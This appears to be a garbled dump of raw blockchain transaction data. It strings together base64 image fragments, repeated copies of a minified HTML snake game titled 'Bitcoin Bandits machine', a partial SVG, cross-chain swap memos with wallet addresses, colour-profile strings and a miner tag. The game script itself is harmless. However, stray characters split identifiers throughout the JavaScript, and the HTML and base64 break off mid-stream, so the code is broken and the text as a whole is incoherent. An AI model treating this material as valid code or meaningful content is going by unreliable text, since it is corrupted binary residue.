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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getEM
lementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshiftM
({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=geMr
tRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0116/4096 3,2,2,2,1 ~0.21940998057834804-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 3,5 3,5 0,0 "/>
<polyline fill="#F652A0" points="8,0 3,7 3,6 8,8 "/>
<polyline fill="#F652A0" points="8,8 4,3 4,3 0,8 "/>
<polyline fill="#F652A0" points="0,0 2,3 3,4 8,0 "/>
@j>=:ETH.ETH:0xa4Dac959B1747913aFD11493e7da6ACba533c880:146323::0
CjA=:ETH.ETH:0xEee6eB5C06da56ad1cC464511B2265D351F63691:6793875:te:0
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" heighM
t="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<M
0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(M
snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
Bj@=:ETH.ETH:0x49e0eC2eedc856391DF961365BF321714F321F99:82328021::0
CjA=:BNB.BNB:bnb1s9n85a7e9hy4puppuenaaa7pumadc73nwugz38:2858623:te:0
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
)j'2A5LBQjSND2bQVHZcFMdt6jcaFSFYJygjytq4zp
/ViaBTC/Mined by gonzales55/,
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
